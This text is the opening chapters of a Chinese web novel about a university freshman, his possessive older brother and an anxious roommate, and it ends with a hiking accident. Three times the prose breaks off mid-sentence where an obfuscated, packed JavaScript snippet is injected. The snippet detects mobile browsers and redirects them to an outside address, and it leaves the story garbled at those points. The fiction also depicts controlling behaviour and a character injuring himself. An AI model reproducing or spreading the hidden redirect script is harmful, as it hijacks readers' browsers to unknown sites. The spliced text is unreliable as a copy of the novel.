《住在月亮隔壁》 1. 哥哥 c市火车站东出站口。 程揽星坐了六个小时的火车,下车后仿佛踩在棉花地里,没有实感不说,身体里的每个零部件都跟着此起彼伏地酸痛。 附近没有坐的地方,他只好侧靠着墙,将手上提着的包裹放在行李箱上。即使是这样,身后沉重的双肩包也像要拉着他不断向下坠一般,肩带卡进皮肉里,在白皙的皮肤上磨出猩红的印子。c市九月份的太阳依然很毒,一切暴露在阳光底下的东西都像被大火烤过一般,程揽星才刚和大理石柱贴了个面,就被烫得眉头紧皱,迅速退开,改为抵着包靠着。但是这样的姿势不太舒服,程揽星靠不了一会,就觉得腰侧酸痛,只好站直身体缓解。 程揽星嘴里碎碎念,一会怪太阳太毒辣,一会抱怨这破火车站也不弄几个长凳,一会又懊恼早知道他哥这么慢,应该等一等再出站。 说来说去都怪那个没素质的人。 车站外不让停车,接送车辆大多停在右侧的临时车道,且要即走即停。程揽星不时探头朝那边看,好及时发现他哥的车。 程知谨到的时候,看见的就是这样一幅画面,他没有第一时间叫程揽星,而是在座位上看他探头探脑了一会,才降下车窗喊他。 “哥!” 程揽星循着声音往左边看过去,就见他哥戴着副墨镜,正冲他这边按喇叭。 程揽星忙拖着行李朝他哥飞奔过去,经过减速带时,行李箱颠了一下,把他妈给他装的香瓜颠掉了一个,完全来不及抢救,就听啪叽一声,程揽星的心也跟着碎了一块。 捡起来一看,果然裂了。 等到坐上车了,程揽星皱着张脸,十分痛心,“哥,这瓜可是我跨越了一千多公里,千辛万苦背过来的,你都不知道我坐在那有多痛苦,但再怎么痛苦我都没想过丢下它们,结果它就这么碎了。而且它还是妈挑的瓜里面最甜的,居然就这么碎了,我好心碎。” 程知谨给程揽星寄好安全带,坐回座位时顺手揉了揉他的头发,好笑道:“你怎么知道这个是最甜的?” “妈告诉我的,她让我一定要带给你尝尝。” 程知谨抿抿唇,心里没什么波澜。 这些年程揽星一直在努力修复他和爸妈的关系,但这种事,当事人没有意愿的话,旁人再怎么努力也没用。 “肚子饿不饿?想吃什么?” 程揽星的表情暗淡下来,他明白程知谨不想谈论这个话题。但他自我调节能力很强,很快便投入到待会吃什么的问题中去,程揽星拿出还微有些发烫的手机划拉了几下,页面上的食物五花八门,种类很丰富,他有点难以做决定,“哥,你对这熟,就去你觉得好吃的店吧。” “好。” 程知谨带程揽星去了家川菜馆,这家店在c市开了十几个年头,味道正宗,名气也挺大。老板和老板娘十几年前从四川来c市谋生,名头打响后,依然亲力亲为,还经常推出改良新品,风评很好。 吃完后,程知谨就准备带程揽星回家。 “有什么要买的明天再说,你坐了这么久的火车,先回家休息一下。” “哥,我还是住酒店吧,逸轩哥在,我去不太方便。” 程知谨皱起眉,没什么表情的脸上似有郁气闪过。开口时,他的嗓音里含着一丝疲惫,“他最近比较忙,一直在学校宿舍里住。” 程揽星闻言也没再提要去酒店住,他知道就算自己坚持要去酒店,程知谨也不会同意。 他出生时,父母忙于农事,没有多少时间照料程揽星,程知谨便承担起了照顾弟弟的重任。后来到了程知谨要上学的年纪,种田的收入难以负担他上学所需要的费用,两人闷在屋子里商量了一下,最终还是决定出去务工,家里的两个小孩就寄养在自家大哥那。这样,小小的程揽星就被完全交到了年幼的程知谨手中,可以说,他是被程知谨一手带大的。因此,很多时候,比起坚持自己的想法,他更习惯于听从程知谨的决定。 而程知谨也习惯程揽星的听话。 “家里没客房,今晚你就和我一起睡。” 程知谨曲指轻轻敲击方向盘,稍加思索,便做了决定。 “好呀,我也好久没和哥一起睡了。” 程揽星凑过来抱住他,一如小时候一般用毛绒绒的脑袋在他的胸口蹭来蹭去。他的双手环在程知瑾身侧,脸颊贴在他的胸膛上,一路的疲惫在此刻一点点被消解。 和记忆中的怀抱很像,程揽星想,但哥好像比以前更强壮些了,身体相贴的地方能明显感觉到肌肉的轮廓。 真好,哥在c市应该过得很好。 程知谨觉得有点痒,久未与人这样亲密接触,身体还有些不适应。 嘴角却不自觉上扬,他十分享受于怀中人的依恋,眼神变得柔和了些许。 这种被小动物寻求庇护的感觉不赖。 地下车库昏暗的灯光在他们身上投下不规则的层叠阴影,端坐在主驾驶位的人抬起藏于黑暗中的手,隔着衣物缓缓抚摸过怀中人的寸寸肌肤。 一路上,程揽星絮絮叨叨地讲了许多事,提起程旭时,他偷着看了几眼程知谨的神色,见没有异样,才放心地继续讲下去。 “程旭太不够意思了,叔叔出事了不告诉我,决定辍学打工了也不告诉我,我都不知道他到底有没有真心拿我当朋友,只敢留一封信给我,还是托他弟弟给我的,有胆子瞒着我,没胆子告诉我是吧,真棒。” 说到这里,程揽星叹了口气,“不知道程旭在外面过得怎么样,有没有好好照顾自己。” ”我好想他呀。” 本来一直没什么表情的程知谨听到这句话后,脸上的假面才终于裂了缝。方向盘上的手青筋暴起,程知谨的瞳孔微微眯起,语调轻缓,“不用担心,星星,他已经成年了,可以为自己负责。” 程揽星点点头,刚才兴奋的劲头却没了,整个人沉默了许多。 程知谨的表情更阴沉了。 程揽星低落的情绪一直持续到程知谨提出给他剪头发为止。 他们的家庭条件不太好,为了省钱,程知谨早早就学会了自己修理头发,后来这项技术也被用到了程揽星身上。 程揽星闻言抬起头,眼睛微微睁大,里面的喜悦一点也遮不住,“好呀,哥,理发店师傅的手艺完全比不上你,每次都给我剪个丑得奇形怪状的发型。” 又小声抱怨了一句,“三年了,哥你都不想我们吗?” 程知谨轻轻弹了下他的额头,“我不是经常去看你吗?” 程揽星顺着他发力的方向仰倒在沙发上,闭上眼睛,双手捂住心口,“哥哥好狠心啊,你弟弟的血条都空了。” 倒下去时没躺稳,他又悄悄地扭了两下,自以为隐蔽地把身体往里靠了些。 程知谨被他逗笑,坐到他的身旁,轻轻按揉他的额头,“那哥哥要怎么复活弟弟呢?” 程揽星虚虚睁开左眼,见他哥脸上带着笑,眼里满是玩味,又悄悄将条件加码,“要哥哥明天陪弟弟去学校,全程护送哦。” 明天是周末,这个要求应该不过分吧。 “可以啊,星星公主。”程知谨应允,公司请假就行,这不是什么难事,“还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540809|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有别的要求?” 程揽星迅速坐直身体,脸上的表情也变严肃许多,倒是耳朵上飞了抹红晕,将他的情绪暴露了个彻底,“哥,我都已经长大了,你怎么还这么叫我呀。” 语气听来与其说是不满,到更偏向于撒娇一点。 “以前不是还硬要我这么叫吗?现在怎么害羞了?”程知谨取笑程揽星。 不叫就撅嘴巴,皱着眉头凶巴巴地说话,问什么答什么,说什么都有回应,但不再叫他全世界最好的哥哥了,改为喊全世界最讨厌的哥哥。 “那都是多久以前的事了,谁小时候还没个黑历史。哥,以后不许这么叫我了。”程揽星迅速扭头躺回沙发上,将脸埋进抱枕里,心里的小人一拳打在铜墙铁壁上,疼得他嗷嗷叫。 小时候的记忆零零碎碎出现在程揽星的脑中,活脱脱一个不讲理又任性的小霸王。 “当真?” 程揽星感觉耳边似乎被人吹了口气,痒痒的,又酥又麻。但下一秒,低沉悦耳的声音却在他的头顶缓缓响起,绕着他因为害羞而加速跳动的心脏转圈圈,“当然,还是公主说了算。” 什么啊!这哪里是他说了算嘛? 洗完澡后,程知谨寻来剪头发的工具,让程揽星搬来个稍矮点的凳子,开始帮他剪头发。 “哥,这几年没我给你练手,手艺不会退步吧?让我来好好地检查一下……”程揽星仰脸乖乖地任程知谨动作,话说至一半,他顿了顿,像是想起了什么,继续道:“哦,不对,逸轩哥可以给你练手,应该也不会退步。” 声音不如一开始满含笑意时那般清亮。 程知谨替程揽星批上理发围布,又仔仔细细把他身上没被围布覆盖的地方遮掩好,等差不多完工了,才回答揽星,“我没给他剪过头发。” 程揽星正在镜子前检视他哥的理发成果,听到这话没觉得有什么奇怪之处,心情却是明朗了些,再开口时语调都高昂了许多,“哦,他习惯在理发店啊?” “嗯,有专门给他做造型的店。” 程揽星早就知道程知谨男朋友的家境不一般,闻言也没觉得惊讶,只是在心里感叹苏逸轩和他们果然不是一个世界的人。 程知谨清洗好工具,又用湿抹布擦干净地上的碎发,做完后去浴室洗了个澡。等回到卧室时,程揽星早已睡着,坐了几个小时的车,他早就累了,只不过见到程知谨后太兴奋,总想再多和他说说话,他不在身边后,程揽星没了能让他保持兴奋的对象,自然很快就睡着了。 月光透过窗帘的缝隙洒在程揽星的脸上,让人看清了他眼底的一片浅薄青黑。这道不和谐之色在他白皙的皮肤上显得十分突兀,像是落于女娲完美造物上的一粒灰尘,无伤大雅,却难免定个不识趣的罪名。 一阵风闯过没关牢的窗户,掀起铺散开的窗纱,凭空隔绝两人。 程知谨心下一窒,抬手挥开窗纱。他的指尖颤抖,快步按下床头灯的按钮,确认了好几遍眼前的人不是自己的幻觉后,才长吁一口气,过快的心跳慢慢恢复正常。 床上的人突然动了动,蜷缩成一团,程知谨如梦方醒,忙抱过被子,展开盖在程揽星身上。 灯光走动间忽明忽灭,程揽星被扰了清梦,不自觉皱起眉,直到灯光彻底熄灭,那道褶皱才得以被抚平。 程知谨拉开被子,侧身将程揽星紧紧抱入怀中,目光伫于他的脸颊上,好似怎么都看不够。片刻后,程知谨埋进怀中人的脖颈间,狠狠吸了几口气,这才放缓了力道,不过仍保持着与禁锢一般无二的姿势。 “晚安,我的星星。” 2. 学校 第二天程揽星毫不意外又赖床了。 因为知道哥哥不会让自己迟到,所以十分安心地连闹钟都没有定。 程知谨把被子拉低至程揽星的脖颈处,看着他的睡颜,心里说不出的满足和宁静。 等收拾妥当后,程知谨把程揽星从空调被里捞出来,替他换掉身上的睡衣。程揽星迷迷糊糊地跟着程知谨的指令抬胳膊抬腿,努力想要睁开眼睛,但不管他怎么努力,也只是上下眼皮打架,毛绒绒的脑袋左右轻点。 换好衣服,程知谨又抱着程揽星去卫生间洗漱,等程知谨挤好牙膏后,他才彻底清醒过来。 程揽星双手环着程知谨的腰,埋在他的怀里,说话时的语气像含着棉花糖,“谢谢哥。” 他仰脸看向程知谨,眼睛弯出小小的弧度,瞳孔里倒映出程知谨的轮廓。 “你先洗漱。” 程知谨去小区门口买了早点回来,他很清楚程揽星的口味,即使这三年里没有陪在程揽星身边,但他一直关注着程揽星,所以对于程知谨的口味变化也一清二楚。 “哥,你还记得你昨天答应我的事情吧?” 程揽星收拾好桌子,把垃圾清理了一下,又找了个纸盒,把从家里背来的瓜果放进去,做完这些后,估摸着差不多就要去学校了。 程知谨正在回复邮件,无框眼睛架在高高的鼻梁上,看起来有些无机质般的冷漠。他点点头,“东西都收拾好了?” 早早就清点好物品的程揽星听到这话,立马将房间里的行李箱拖出来,双手握住身体两侧的肩带,表情雀跃,“早就准备好了。” “好。” 昨天程揽星洗澡拿衣服时,程知谨注意到他的行李箱不大,能装的东西不多。程知谨问弟弟有没有寄行李过来,知道没寄后,他就已经想好了明天要带程揽星去买点生活用品和衣服。 他载着程揽星去了附近规模较大的商场,准备在商场买完衣服后,就去负一层的超市买全套生活用品。 “哥,爸妈给我这学期的生活费了。” “嗯,知道,这是我给你的。” 程揽星凑过去抱住他哥,“哥,你真好,你会一直对我这么好吗?” “会的。” 程知谨抬手揉了揉程揽星的头发,和以前的触感有些不一样,大概经过了软化处理。 程揽星的发质偏硬,还容易炸毛。小学生程揽星起床去上学的时候,总是跟只刺猬一样。程知谨试过晚上用堂妹的发卡给他固定头发,但没多大用处,也试过用醋洗头,放学回来时程揽星那张小脸委屈巴巴的,眼泪吧嗒吧嗒掉,也不出声,程知谨哄了他好一会,他才说同学们都不愿意靠近他,连他最好的朋友都捂着鼻子才肯牵他的手。 于是这个方法也只能放弃。 有次被同学笑得狠了,吃饭的时候程揽星低着小脑袋,也不夹菜,就默默扒饭。程知谨是最先发现他不对劲的人,问他怎么了,是不是在学校被人欺负了,就听见程揽星蜜蜂般嗡嗡了两句。程知谨心一沉,忙走过去把程揽星拉进房间,正准备上上下下查看程揽星哪儿受伤了,就看见程揽星红着鼻子,两只眼睛水龙头似得掉眼泪,嘴巴一撇,就嚎开了。 “呜呜呜哥……我……我同学说、我我、是……炸……嗝……炸毛呜呜呜呜……刺猬,他他……他们还要、用我的头发呜呜呜呜、扎苹果。” 程知谨抱住程揽星,安慰他不像刺猬,就算像刺猬,也是最可爱的那只刺猬,并承诺会好好教育要拿他头发扎苹果的同学。 程揽星眼睛湿漉漉的,小脸严肃,问程知谨能不能不做刺猬,他还是比较想当最可爱的小朋友。 “好,星星想做什么就做什么。” 说完程知谨忍着笑,摸了摸程揽星毛绒绒的脑袋。 嗯,确实挺像只炸毛刺猬的。 程知谨小小年纪就深知小男子汉小大丈夫,要言而有信,找了个时间把那几个被程揽星指认的人恐吓加揍了一顿,至此再没人叫程揽星炸毛刺猬了。 给程揽挑了几套衣服后,程知谨又给他买了几双鞋,在超市买完基本的生活用品后,还买了一大袋零食和水果,程知谨才驱车带着程揽星离开。 程知谨对T大很熟悉,毕竟这是他生活了四年的学校。 在新生报道处领取了基本材料和电话卡后,程知谨和程揽星提着大包小包去宿舍。 宿舍里有两个人正在整理床铺,见有新同学来了,里面的寸头男放下塞了一半的被子,十分热情地过来打招呼,“是咱们宿舍的吧?嗨呀等你们老久了,来,快进来,就剩下一个床铺了。有个大兄弟来老早了,床铺得整整齐齐的,东西也都收拾好了,我应该是咱们宿舍第二个到的,也没看见过那位兄弟的影子。哦,忘了自我介绍了,我叫黄一佪,那边那个叫杨岸,他话比较少,不是故意不和你们打招呼的,别介意啊两位兄弟,对了,两位是一起过来的吗?哪位分到咱们宿舍了?” 黄一佪从硬要抢过程揽星手中的行李帮忙后,嘴巴就一直没停过,程揽星想回应他,但实在有心无力。 程知谨眉头轻皱,神情不悦地看向黄一佪搭在程揽星肩膀上的手,结果下一秒这手就要搭在他的肩上了。 见此,程知谨微侧身躲开。 被人这样对待,黄一佪也没觉得尴尬,挠了挠脑袋,笑得十分热情洋溢,“你怎么也这么害羞,都是同学啊。不过没事,过几天咱们熟了,你就习惯了。” 程揽星忙过去解救他哥,“我叫程揽星,他是我哥,已经毕业了。” “哦,这样啊,那你就是我们的新室友了。” 程揽星点点头。 自我介绍完后,程揽星走到一直在忙着塞被褥的同学旁边,“你好啊,杨岸同学,我是程揽星。” 被子男这才转头看向他们。 程揽星微怔。 杨岸的皮肤很白,但是那种不太健康的白,不知道是因为营养不良还是其他的原因,他的脸颊有些微凹陷,黑眼圈很重,看着有些阴沉,但长得还算清秀,冲淡了身上的阴郁感。 “你好。” 杨岸低低应了一声,又很快低下头继续整理被子,只不过手上一直重复着拉扯被子的动作,套了半天还是程揽星刚过来打招呼时的进程。 “你之前在家没有套过被子吧?我来帮你。” 程揽星的手才伸了一半,没想杨岸反应极大,忙抱起被子往一旁躲,迅速拉开和程揽星之间的距离。 气氛一下子尴尬起来。 程揽星缓慢地眨了眨眼,他低头看看自己的手,又看看杨岸和被他牢牢抱在怀中的被子,“抱歉,我没有恶意,只是看你好像不太熟练,想帮帮你。” “……不、不需要,我自己就可以。”杨岸垂着脑袋,头发遮住了他的表情,从程揽星的视角看不出他此刻的情绪。 正苦苦思索如何打破这么尴尬的局面,不让自己的室友关系开学第一天就陷入僵局时,程知谨走过来握住了程揽星的手,“不用管他,星星,和哥哥一起住吧。” “嗯,嗯?”程揽星忙止住脚步,“哥,你是在开玩笑吧?” 但看着程知谨的表情,程揽星就已经知晓了他的答案,忙坚定道:“不行,哥,住宿费都交了。” “这不是问题。” “可我想住宿舍。”程揽星抱住程知谨的胳膊,左右晃了晃,“这可是大学生活很重要的一部分。” 要是真搬出去了,他和杨岸之间就算是彻底玩完了。 还要做四年的同学呢。 程知谨垂下眼睫看了他一会,瞳孔里没什么情绪,但终归是没再坚持要他在校外住。 “好。” 眼见着气氛的走势越来越僵硬,黄一徊忙出来打圆场,“啊哈哈哈,杨岸同学太容易害羞了哈哈哈,肯定不是故意这样的。” “是哦。”程揽星这时候调节好了情绪,他笑道:“你都提醒过我了,我刚才走过去那么热情地要帮忙,应该是吓到杨岸了吧?” 这话问出来,空白了十几秒,最终还是被黄一徊接了过去。 程揽星泄了气,转头看向杨岸的方向,心下郁闷:他长得很让人讨厌吗?至于第一次见面就这样吗? 应该,不至于吧? 临出门前,程揽星又朝杨岸那边看了一眼,恰好撞见他慌忙回避的目光,不由得更加郁闷了。 这人总不能是害怕自己吧? 程揽星摸摸自己的脸,拿出手机屏幕左右看了好几遍。 “怎么了?” 程知谨见程揽星拿出手机左右端详,不禁有些疑惑。 程揽星放下手机,表情严肃,“哥,我长得很让人讨厌吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540810|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>之后的一段时间里,程知谨基本上一天给程揽星打一个电话,如果实在太忙,就说几分钟,简单问问程揽星有没有不适应的地方,需不需要他做什么之类的。程揽星虽然很感动他哥这么关心他,但接连好几天,程知谨声音里的疲惫压都压不住,程揽星心疼他哥,让他减少打电话的频率,有什么事自己会在微信上给他发消息。 程知谨答应了,只不过要求程揽星每天都要和自己说说学校的情况,不管有没有发生什么烦恼或是不能解决的事。 两人还未分开时,程揽星每天放学后都会给程知谨讲学校里的趣事,或是自己的烦恼,一直持续到程知谨上高中住校为止,因而对于他哥这种在常人看来有些控制欲太过的要求,程揽星甚至没思考几秒就答应了。 只不过军训太折磨人,有时候程揽星会忘记,程知谨就会给他打电话,这样的次数多了,每天给他哥发消息汇报日常已经成了他条件反射下的行为。 熬过军训后,程揽星的时间就多了起来。他挑了个自己比较感兴趣的公益社团加入,社团的活动不多,学校生活整体过得还是比较舒适的。 黄一佪进了戏剧社,誓要在毕业前给全校师生来一场精彩绝伦的表演,程揽星和孙维表示大力支持。他的精力太过旺盛,适合被戏剧社磋磨磋磨。 孙维忙着健身,没跟着凑热闹。 杨岸则一直独来独往,没课的时候不怎么待在宿舍,不知道在做些什么。 在宿舍里时,杨岸也很少说话,就算是十分自来熟的黄一徊,和他一天里说的话,一只手都能数得过来。 对此,黄一徊哀叹杨岸是他的社交生涯里遇到的最大滑铁卢。 程揽星本没有多在意,那天的事,对他来说也只是一个小小的插曲,但令他郁闷的是,杨岸好像在刻意回避他。 这人的话少是没错,但和另外两人一天里总能说上一两句吧。但是他和杨岸除了开学那天的自我介绍,后面说过的话,算起来寥寥无几。 这也太不正常了。 想不明白,程揽星便不打算继续为难自己了。某次只有两人在宿舍时,他直接拦住又要躲开他的人。 “你要去哪?” 杨岸抬眼看他,厚重的刘海挡住大部分视线,他只看得到程揽星一张一合的嘴唇。 “食堂。” “正好,我也饿了,我们一起去吧。” 程揽星抬手想揽着杨岸的肩膀,身旁的人果不其然闪身避开,留下他的手僵在半空。 又来这套? 程揽星皱起眉,懒得再和杨岸继续弯弯绕绕,“你讨厌我?” 听到这话,杨岸却猛然抬起头,往前进了一步,又生生止住。他的声音拔高,开口时语气十分急切,“怎么可能,不讨厌,怎么可能讨厌。” 程揽星被他的反应惊到,见他说话越来越混乱,忙安抚道:“那个,杨岸,你冷静一点,我只是问个问题而已。” 有了程揽星的安抚,杨岸这才慢慢平静下来,他低着头,又恢复成刚才那副阴郁的模样,只不过耳根处红了不少。 “那你怎么总躲着我?” 既然不讨厌他,为什么话都不愿意和他讲?害他之前还以为自己长得很令人讨厌。 “……” 杨岸维持着低头的姿势,不说话,也没做出其他动作。 “好吧,既然你不讨厌我,那以后就多和我说说话,至少不要躲开我,这个要求总不难吧?我们好歹是室友呢。” 程揽星有理由怀疑要是他不主动开这个口,两人能就这样一直站到天荒地老。 杨岸闻言点点头,接着马上补了一句“嗯”。 那天谈话过后,杨岸在宿舍里稍微活跃了些,虽然话还是很少,但至少有了点参与感。 等到宿舍一起出去吃了几次饭后,程揽星才知道他的身体不太好,所以看起来才会这么瘦弱。 平时能帮忙的地方,程揽星都会顺手帮他一下。 杨岸很感激他,两人的关系亲近了些,不过他和其他两人的关系依然比较疏离。 为此黄一佪向他抱怨杨岸对待他们就比陌生人好一点,只对程揽星特殊时,程揽星揽着他,笑得十分欠揍。 “哈哈大概是因为我的魅力比较大吧。” 就像程知谨说的,“怎么会有人讨厌星星。” 3. 周末 周末的时候,程知谨会过来找他,要是实在太忙,就会让程揽星晚饭时到公司等自己。 黄一佪和孙维调侃他哥也太宝贝他了,每天上班累死累活还坚持来看他,说着说着又控诉他不跟随宿舍集体活动。本来宿舍就只有四个人,杨岸很少参加,他则要么是社团活动,要么和他哥呆在一起,就剩下他们俩大眼对小眼。 程揽星初期还能笑骂他们矫情,后来次数多了,程揽星也开始反思自己,是不是和他哥黏得太紧了,除了社团活动外,好像还未参与过其他活动。 等到下一次程知谨说自己忙,让程揽星五点去公司找他时,程揽星告诉他自己周末要和室友出去玩。 电话那头一阵沉默,只有浅浅的呼吸声表明程知谨并未挂断电话。 “哥?” “没事,那你和他们好好玩,钱够吗?” “够的。” “要回宿舍的时候给我发个消息。” “好,不过我们今天可能会玩得有点晚,要是太晚了哥你就直接睡,不用等我的消息。” “没事,挂了。” “哥,你是不是……” 程揽星这句话还没说完,程知谨就挂了电话。 印象中也有几次这种情况,程揽星想,他哥这毛病好歹是没那么严重了,如果放以前,两人肯定要闹得不愉快,这样也好,他和程知谨感情再深厚,以后也不能一直这样黏在一起。 “你要和我们一起去?” 黄一佪和孙维听到程揽星询问他们这个周末有什么计划时,同时脱口而出这个问题。 黄:怎么办?要告诉揽星我们这周打算在宿舍过吗? 孙:不行,当然要出去,这可是揽星第一次主动要和我们一起过周末呀! 黄:也是,揽星这时间得来不易。 两人很快就结束了讨论,又问程揽星有没有想去玩的地方。 商量了一会,杨岸回来了。 程揽星见他手中提着两份饭,十分自然地接过另一份,“谢了。” “对了,我们这周末要去爬山,你要和我们一起不?” 孙维和黄一佪你看我,我看你,眼里都是对杨岸回复的了然。 可怜的揽星,要被拒绝了。 “好。” 操,要不要这么双标。 四人轻装上阵,找了个据说颇有挑战性的山,黄一佪拍胸脯打包票说这座野山是他查遍攻略,询问了好些学长学姐才找到的,肯定能让他们爬得畅快。 等到地铁转公交,换了好几程,又扫了共享单车骑到最后一个停车区,四人步行了一段路后,看着远处不知有没有他们学校里那座山高的野山,四人你看看我,我看看你,眼里都是果然不该太相信黄一佪的共识。 沉默了一阵后,程揽星拍拍黄一佪的肩膀,安慰他,“没事,至少这山比咱们学校的那座面积大些。” 由于是野山的缘故,没有人工铺就的路,倒是有人为踩出来的山道,但大多半程隐在苍翠杂草中。四人勘察了一会,挑了条容易上山的道,孙维是四人中身体素质最好的,自告奋勇打头阵,黄一佪和杨岸其次,程揽星走在最后。 杨岸看了他好几眼,想和他换个位置。 程揽星明白他想说什么,冲他眨眨眼,笑道:“别担心,我要是快摔倒了,会拉着你们一起掉下去的。” 杨岸抿抿唇,点头说好。 程揽星笑容一滞,忍不住怀疑这人是不是把自己的玩笑话当真了。 这反应搁别人身上可能是阴阳怪气,搁杨岸身上倒真有可能是这么想的。毕竟程揽星当初随口说了一句以后靠他养了后,杨岸每次上完课或是外出归来,只要是饭点,都会给程揽星带饭,还经常送程揽星各式各样的东西,也不肯收他的钱,无奈程揽星只好用充水卡等各种方法把钱补给他。 几次下来后,孙维和黄一佪都觉得奇怪。黄一佪心大,只当两人是关系好。但孙维却有其他猜测,怀疑杨岸是不是被程揽星抓住了什么把柄。 程揽星无语,能有什么把柄让他心甘情愿供自己吃白饭的,半个学期下来这钱也不是小数目了。再说就算杨岸家里有钱,想做慈善,那也不是这么任劳任怨给自己带饭。 可能会把饭卡甩到他脸上,让他替自己去买饭,顺便再买一份给自己当跑腿费。 孙维点点头,觉得有点道理,并表示想不明白就不想了。 他喜欢健身,也擅长体力劳动,但不怎么喜欢动用他不太多的脑细胞去进行稍复杂及以上的脑力劳动。 程揽星则觉得大概是因为之前自己对他展露的善意。 这么一段时间接触下来,程揽星多多少少对他的性格了解了些,知道杨岸不太喜欢和别人接触,身边也没什么朋友。 程揽星在周边走了一圈,捡了四根比较结实的树枝,把上面杂乱的枝丫和会刮着手的树皮清理掉,按身高分给另外三人,“用这个拄着走吧,可以探路,安全些。” 孙维接过,“早知道把我家的纯金登山棍带过来了,这个装备不太配得上本少爷的身份啊。” 三人齐齐翻了个白眼。 黄一佪离他最近,顺势抱住他的头,程揽星会意,迅速配合着按住他的双手。 “杨岸,把他装备卸了。” 杨岸嘴上冲孙维说着“对不起”,但手上却十分不留情面地把树枝抢了过来,。 “哎哎哎,我错了还不行吗?我错了我错了,星星牌登山棍最强可以了吧。” “哼,这才像话。” 四人按着刚刚商量好的排位向山顶出发。 孙维尽职尽责地在前面探路,看得出来他有这方面的经验,遇到树叶和树枝积压多的地方,大多数时候都能凭直觉发现下面是否埋着坑,提醒队友小心踩空。黄一佪跟在身后,帮着清理容易处理的挡路枯枝,兴致不错,还时不时高呼几句不太搭景的诗词。而有前面两人开路和清理障碍物,杨岸和程揽星就轻松许多了。 程揽星乐得清闲,只时不时要处理一下杨岸的担心。 “我没事,不累,你好好看着路走,别摔着了。” “小心,前面有树,你再看着我,那树就要绊你了。” “有水,我水壶里还多着呢,比你的还要多。” “……” 这样的关心属实让人有些招架不住,程揽星回复了一会,耐心终于告磬。 “你再一直这样转头看我,我就和孙维换位置了。” 杨岸握紧手上的树枝,由于营养不良的缘故,手掌上的青筋暴起时,在本就白得不正常的皮肤映衬下,显得越发狰狞。过长的刘海因低头的缘故,又垂落下来,恰好遮住了眼底的阴翳。 “不会这样了,你别换。” 程揽星看着前方有些落寞的背影,头疼地抬头看了天空一眼,他以前没有和杨岸这种类型的人接触过,有些把不准和他交往的度。 想了想,还是解释了下,“我是担心你总转过来会有危险,你别想东想西的。” “嗯。” 听声音心情倒是明朗了些。 这么一会,孙维和黄一佪已经离他们有些距离了,两人大喊着让他们快点,别磨磨唧唧的,等到太阳落山了才爬到山顶。 程揽星随意应了两声,脚下依然保持着之前的节奏,出来玩嘛,就是要随心一点,舒服才是最重要的。而且这山就这么高点,哪会像他们说的那样夸张。 但杨岸不像他这么洒脱,担心自己拖慢了程揽星的进度,急忙迈大步子,结果不小心踩空,眼看着就要从一旁摔下去。 程揽星在杨岸刚迈大步子时就想提醒他,可话还没出口,杨岸身形一歪,向一旁倒去。程揽星的身体先一步做出反应,扔下树枝,向前俯冲几步,一只手顺势抓住离他最近的树干,另一只手则揽住快要滚下去的杨岸。尽管杨岸比较瘦弱,但毕竟也是一个身量不小的成年人,当下就压得程揽星单膝跪地,另一只脚失去支点。 眼看着两人要一起滚下去,程揽星快速地在脑中分析了下怎样才能最小化伤害,当机立断放开树干,抱着杨岸用力向左滚了两三圈,直到背部撞上一棵还算粗壮的大树,两人才停止滚动。 程揽星闷哼一声,放开双手,长出一口气,“还好我没记错。” 两人停下滚动后,杨岸便迅速从程揽星身上起来,丝毫没在意一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540811|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的带刺植物,两手按在上面,看得程揽星心里直抽抽。他跪坐在一旁,想用血淋淋的手去清理程揽星脸上的枯叶和灰尘,结果才一碰上,就是一个血印子,他有些无措,收回手不安地在衣服上擦拭。 “对不起,我…我不是故意的,揽星你没事吧?你有没有哪里痛?有没有受伤?你现在能起来吗?我不该那么着急的,对不起,对不起……” 程揽星正想调侃两句自己身手矫健,料“树”如神,除了背撞得有点痛外,其他地方完全没有问题,就见杨岸像是魔怔了般,一遍遍重复着对不起,还用手指去扣弄手上的细小伤口,本就还在渗血的伤口被这样对待,立刻如开闸般,流得更凶了。 程揽星直起身子,强硬地掰开杨岸已经血肉模糊的双手,“杨岸,看着我。” 杨岸依然固执地要去扣弄伤口,见挣脱不开,又死咬自己的嘴唇,直到咬破了口,又狠狠地用牙去碾,鲜血滴在褐色的土地上,看着触目惊心。 “杨岸,你一定要惹我生气吗?” 程揽星加重了语气,他只有两只手,忙不过来啊。 这人看着瘦弱,力气还挺大。 杨岸这才抬起头,嘴里还是念叨着对不起,但神情已没有刚才那么吓人了。 程揽星深吸一口气,严肃道:“我没事,身上没有一个地方受伤。但是我刚刚救了你,你现在却这么伤害自己,”顿了顿,想到杨岸对自己受伤的反应这么大,换了个说词,“让我觉得自己的辛苦白费了,我很不高兴。” 